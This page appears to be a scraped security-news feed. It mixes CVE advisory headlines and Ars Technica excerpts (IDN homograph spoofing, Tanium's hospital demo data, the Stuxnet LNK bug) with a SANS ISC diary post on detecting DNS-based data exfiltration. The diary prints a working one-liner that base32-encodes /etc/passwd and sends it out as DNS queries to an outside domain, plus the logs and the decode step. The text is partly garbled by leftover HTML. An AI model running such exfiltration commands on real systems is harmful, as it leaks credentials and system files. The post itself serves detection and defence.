(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Mozilla Firefox Multiple Security Vulnerabilities
Drupal CVE-2017-6919 Access Bypass Vulnerability
Splunk Enterprise and Lite Multiple Cross Site Scripting Vulnerabilities

Enlarge / This is how a Chrome 57 displays https://www.xn--80ak6aa92e.com/. Note the https://www.apple.com in the address bar.

If you're using Chrome, Firefox, or Opera to view websites, you should be aware of a weakness that can trick even savvy people into trusting malicious impostor sites that want you to download software or enter your password or credit card data.

The weakness involves the way these browsers display certain characters in the address bar. Until Google released version 58 in the past 24 hours, for instance, Chrome displayed https://www.xn--80ak6aa92e.com/ as https://www.apple.com. The latest versions of Firefox and Opera by default continue to present the same misleading address. As the screenshot above demonstrates, the corresponding website has nothing to do with Apple. Had a malicious attacker registered the underlying xn--80ak6aa92e.com domain, she could have used it to push backdoored software or to trick visitors into divulging passwords or other sensitive information.

Xudong Zheng, a Web application developer who developed the apple.com look-alike site to demonstrate the threat, explained here how the attack works.

Read 4 remaining paragraphs | Comments

Cisco ASA Software CVE-2017-6609 Denial of Service Vulnerability
Cisco Adaptive Security Appliance (ASA) Software CVE-2017-6608 Denial of Service Vulnerability
Trend Micro InterScan Messaging Security Virtual Appliance Cross Site Scripting Vulnerability
Google Chrome Prior to 58.0.3029.81 Multiple Security Vulnerabilities
Oracle Sun ZFS Storage Appliance Kit (AK) CVE-2017-3584 Local Security Vulnerability
Oracle Solaris CVE-2017-3565 Local Security Vulnerability
Oracle MySQL Connectors CVE-2017-3586 Remote Security Vulnerability
Oracle E-Business Suite CVE-2017-3515 Remote Security Vulnerability

Enlarge / Orion Hindawi, co-founder and chief technology officer of Tanium Inc. (credit: Getty Images/Bloomberg)

Following a report by The Wall Street Journal that the security vendor Tanium used a hospital's live network as a demonstration platform on sales calls and even revealed private hospital data in a publicly posted demonstration video, Tanium CEO Orion Hindawi has admitted that mistakes were made in handling data from El Camino Hospital's network. Hindawi was vague about whether the company had live access to the network, but in a blog post late yesterday, he said that the data was from "this particular customer's demo environment" and that Tanium did not—and should not—have remote access to customers' security data except in a very few cases where customers had granted access.

[Update, 3:30 pm EDT] Ars has learned from a source familiar with the installation that the company did, in fact, use a connection to El Camino Hospital's on-premises instance of the Tanium web console for demonstrations.The connection would have had to have been provided by El Camino's information technology staff—though it is not clear how far up in the hospital's administration that arrangement was approved, and the arrangement was apparently never documented. Since 2015—about the time Tanium lost access to the El Camino Hospital installation—Tanium has required that these sorts of arrangements be codified in writing.

"We do have a few customers who have agreed for us to use their environments for external demos and have provided that access to us," Hindawi wrote. "Since 2015, we’ve insisted that before a customer is willing to let us demo from their environment, regardless of the access they offer us, we document that in writing and agree on what data we can show to ensure there isn’t any confusion. Other than the few customers who have signed those documents and provided us remote access to their Tanium platforms, we do not—and in fact cannot—demonstrate customer environments with Tanium."

Read 5 remaining paragraphs | Comments

Cisco IOS and IOS XE Software Multiple Denial of Service Vulnerabilities
Cisco Adaptive Security Appliance (ASA) Software CVE-2017-6607 Denial of Service Vulnerability
Cisco Integrated Management Controller CVE-2017-6618 Cross Site Scripting Vulnerability
Cisco FindIT Network Probe CVE-2017-6614 Information Disclosure Vulnerability
Cisco Integrated Management Controller CVE-2017-6619 Remote Command Execution Vulnerability
Cisco ASA Software and FTD Software CVE-2017-3793 Denial of Service Vulnerability
Cisco Prime Network Registrar CVE-2017-6613 Denial of Service Vulnerability

Enlarge (credit: Saurabh R. Patil)

One of the Microsoft Windows vulnerabilities used to spread the Stuxnet worm that targeted Iran remained the most widely exploited software bug in 2015 and 2016 even though the bug was patched years earlier, according to a report published by antivirus provider Kaspersky Lab.

The most widespread exploits of 2015.

The most widespread exploits of 2015. (credit: Kaspersky Lab)

The most widespread exploits of 2016.

The most widespread exploits of 2016. (credit: Kaspersky Lab)

In 2015, 27 percent of Kaspersky users who encountered any sort of exploit were exposed to attacks targeting the critical Windows flaw indexed as CVE-2010-2568. In 2016, the figure dipped to 24.7 percent but still ranked the highest. The code-execution vulnerability is triggered by plugging a booby-trapped USB drive into a vulnerable computer. The second most widespread exploit was designed to gain root access rights to Android phones, with 11 percent in 2015 and 15.6 percent last year.

The Windows vulnerability was first publicly disclosed in July 2010, a few days before security reporter Brian Krebs was the first to report on the Stuxnet outbreak. The bug resided in functions that process so-called .LNK files that Windows uses to display icons when a USB stick is connected to a PC. By hiding malicious code inside the .LNK files, a booby-trapped stick could automatically infect the connected computer even when its autorun feature was turned off. The self-replication and lack of any dependence on a network connection made the vulnerability ideal for infecting air-gapped machines. Microsoft patched the vulnerability in August, 2010.

Read 5 remaining paragraphs | Comments

Cisco Unified Communications Manager CVE-2017-3808 Denial of Service Vulnerability
[SECURITY] [DSA 3831-1] firefox-esr security update
[HITB-Announce] HITB GSEC 2017 CFP Closes April 30th
October CMS v1.0.412 several vulnerabilities

In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass securitycontrols. DNS tunnelling is a common way to establish connections with remote systems. It is often based on TXT records used to deliver the encoded payload. TXT records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.

Instead of using TXT records, data exfiltration may occur directly via the FQDN (Fully Qualified Domain Name). The RFC 1035[1] states that a DNS query length is255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data instrings compatible with the DNS requirements: A-Z, 0-9 and - padding:5px 10px"> $ cat /etc/passwd | base32 -w 63 | while read L do dig $L.data.rootshell.be @ done

Note: the parameter -w 63 padding:5px 10px"> $ grep data.rootshell.be queries.log 20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E ( 20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E ( 20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E ( 20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E ( 20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E ( ...

To decode this on the attacker padding:5px 10px"> $ grep data.rootshell.be queries.log | cut -d -f8 | cut -d . -f1| base32 -d | more root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...

We don padding:5px 10px"> # tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep A\? .*\.data\.rootshell\.be tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 172.x.x.x.40335 [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.35770 [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.41463 [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.38048 [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) ...

As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularlythe query length. The following graph width:770px" />

But, as usual, not all big DNS queries are suspicious. Some CDNs padding:5px 10px"> hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

To reduce the risk of false positives, this control can be combined with others:

  • The volume of traffic per IP
  • The volume of traffic per (sub-)domain
  • White-lists

This technique is not new but comes back regularly in front of the stage. The malware Wekby[3] discovered in 2016 was already using this technique for C2 communications.


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Internet Storm Center Infocon Status